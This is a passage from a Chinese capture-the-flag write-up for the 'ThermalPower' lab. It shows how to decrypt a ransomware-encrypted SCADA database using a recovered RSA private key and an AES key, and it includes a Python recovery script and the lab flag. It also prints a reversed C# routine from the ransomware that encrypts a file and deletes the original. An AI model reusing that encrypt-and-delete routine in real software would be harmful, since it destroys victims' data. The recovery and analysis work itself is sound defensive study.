VJBtlUVywVdMzMJHvIQgBOXUJHHLdxlvIw7CRkuK9CbDryEauYGAMh0CQCUtrbQd
FiZttt6ZYSUK1qkr7PS3RHk3fHIDVqMk5DDpGCInkU0ZKP0bl7n4MaaZeGy/UUUy
PHvLZB6D8zSyuGw=
-----END PRIVATE KEY-----

通过工具,对 encryptedAesKey 进行解密,得到 AES_KEY

1
2
[base64]  cli9gqXpTrm7CPMcdP9TSmVSzXVgSb3jrW+AakS7azk=
[hex] 7258bd82a5e94eb9bb08f31c74ff534a6552cd756049bde3ad6f806a44bb6b39

这一步也可以编程实现,见下文。

AES解密

使用 AES KEY 对文件 ScadaDB.sql.locky 进行解密。

RSA + AES 解密的完整脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
# -*- coding: utf-8 -*-
# @Author : iker
# @Time : 2024/03/04 16:10
# @Function: RSA Privatekey Decryption & AES CBC Decryption
import base64
from Crypto.Util.Padding import pad
from Crypto.Cipher import AES
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_v1_5 as Cipher_pkcs1_v1_5


def rsa_decrypt(data):
private_key = """-----BEGIN PRIVATE KEY-----
MIICdwIBADANBgkqhkiG9w0BAQEFAASCAmEwggJdAgEAAoGBALqC9ggGlbTFae2+
PyH3HsdgK7brtrb7QTtuSXTMAJ3ruoBDwq0Lw8rMHm3IQNS51d3vjiVeZB8RU6f3
YiM0p5p4VJn2Y2K7IWUixptX08HEay+mGFbH1WRv+FC0g1EXwIocjdRyCz/1qgqr
rtaFqNAncaMDLGaTAz6Hasx3BQsRAgMBAAECgYEAtuLJ687BJ5RYraZac6zFQo17
8A8siDrRmTwozV1o0XGf3DwVfefGYmpLAC1X3QAoxUosoVnwZUJxPIfodEsieDox
RqVxMCcKbJK3nwMdAKov6BpxGUloALlxTi6OImT6w/roTW9OK6vlF54o5U/4DnQN
UM6ss/2/CMM/EgM9vz0CQQDZE+pqh9wn+mEindAUITKLSSPQVlFCaZaaICaD8LQz
J5fbnmZ6PwiyDS/Cz080/dEsuPbk7Wlsgn5+rBZ9QSYXAkEA2/QGgIpqpxODaJLQ
vjS8xnU8NvxMlk110LSUnfAh/E6wB/XUc89HhWMqh4sGo/LAX0n94dcZ4vLMpzbk
Vfy5FwJBALpSudaOno1B/7XytvNQO04KjU75h+31K2tHRUfihwmRZmr/Xv52tEP/
xYr03guiALTeXizJCsA0kdawZu1DyikCQDztieeNcCG77AjJsn0dyrUGwJlSpjx0
VJBtlUVywVdMzMJHvIQgBOXUJHHLdxlvIw7CRkuK9CbDryEauYGAMh0CQCUtrbQd
FiZttt6ZYSUK1qkr7PS3RHk3fHIDVqMk5DDpGCInkU0ZKP0bl7n4MaaZeGy/UUUy
PHvLZB6D8zSyuGw=
-----END PRIVATE KEY-----"""
data = base64.b64decode(data)
priobj = Cipher_pkcs1_v1_5.new(RSA.importKey(private_key))
decrypted_data = priobj.decrypt(data,None)
return decrypted_data


def padding(data):
# style(string) – Padding algorithm.It can be ‘pkcs7’ (default), ‘iso7816’ or ‘x923’.
if len(data) % AES.block_size != 0:
return pad(data, AES.block_size, 'pkcs7')
else:
return data

def aes_cbc_encrypt(iv, key, data):
key = padding(key)
data = padding(data)
iv = padding(iv)

aes = AES.new(key, AES.MODE_CBC, iv)
cipher_data = aes.encrypt(data)
return cipher_data

def aes_cbc_decrypt(iv, key, data):
iv = padding(iv)
key = padding(key)
data = padding(data)

aes = AES.new(key, AES.MODE_CBC, iv)
data = aes.decrypt(data)
return data

def decrypt_file(encrypted_filepath,output_filepath,key):
with open(encrypted_filepath, 'rb') as f:
data = f.read()

iv = b'\x00' * 16
decryption_result = aes_cbc_decrypt(iv, key, data)

with open(output_filepath, 'wb') as f:
f.write(decryption_result)

if __name__ == "__main__":
encryptedAesKey = "lFmBs4qEhrqJJDIZ6PXvOyckwF/sqPUXzMM/IzLM/MHu9UhAB3rW/XBBoVxRmmASQEKrmFZLxliXq789vTX5AYNFcvKlwF6+Y7vkeKMOANMczPWT8UU5UcGi6PQLsgkP3m+Q26ZD9vKRkVM5964hJLVzogAUHoyC8bUAwDoNc7g="
key = rsa_decrypt(encryptedAesKey)
encrypted_filepath = "ScadaDB.sql.locky"
output_filepath = "ScadaDB.sql"
decrypt_file(encrypted_filepath,output_filepath,key)

解密后得到 ScadaDB.sql

也可以用cyberchef解密

打开数据库文件,得到 flag04:

1
flag{63cd8cd5-151f-4f29-bdc7-f80312888158}

AES iv 补充说明

逆向勒索程序后,可以看到在 EncryptFile 函数中,先输出了长度为 16 字节的 iv,再输出了加密后的数据库文件,然后一起写入 ScadaDB.sql.locky

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
private void EncryptFile(string inputFile, string outputFile)
{
using (AesCryptoServiceProvider cryptoServiceProvider = new AesCryptoServiceProvider())
{
cryptoServiceProvider.Key = this.AES_KEY;
cryptoServiceProvider.GenerateIV();
using (ICryptoTransform encryptor = cryptoServiceProvider.CreateEncryptor())
{
using (FileStream fileStream1 = new FileStream(inputFile, FileMode.Open))
{
using (FileStream fileStream2 = new FileStream(outputFile, FileMode.Create))
{
using (CryptoStream destination = new CryptoStream((Stream) fileStream2, encryptor, CryptoStreamMode.Write))
{
fileStream2.Write(cryptoServiceProvider.IV, 0, cryptoServiceProvider.IV.Length);
fileStream1.CopyTo((Stream) destination);
}
}
}
}
}
System.IO.File.Delete(inputFile);
}

所以 ScadaDB.sql.locky 的前 16 字节实际上是 iv:

1
iv = b'\xB9\x3C\x62\x85\x21\x95\x39\xE5\xC5\x00\x5A\xAA\x3A\xB0\xBF\x6C'

但是在本场景中,不影响解密,因为在解密时,错误的 iv 只影响明文块的第一个 16 字节 block,而在本场景中,前 16 字节恰好为 iv,不是原始 ScadaDB.sql 文件中的数据。

参考文献

https://xz.aliyun.com/news/13525

https://blog.potatowo.top/2025/03/19/%E6%98%A5%E7%A7%8B%E4%BA%91%E5%A2%83-ThermalPower/#%E7%AC%AC%E4%BA%8C%E5%85%B3

https://fushuling.com/index.php/2024/03/01/%e6%98%a5%e7%a7%8b%e4%ba%91%e5%a2%83-thermalpower/

https://ta0.fun/posts/a5238ac2/

https://nekosec.github.io/2025/02/15/%E6%98%A5%E7%A7%8B%E4%BA%91%E5%A2%83-ThermalPower/


春秋云镜 ThermalPower
http://example.com/2026/test59/
作者
sangnigege
发布于
2026年4月15日
许可协议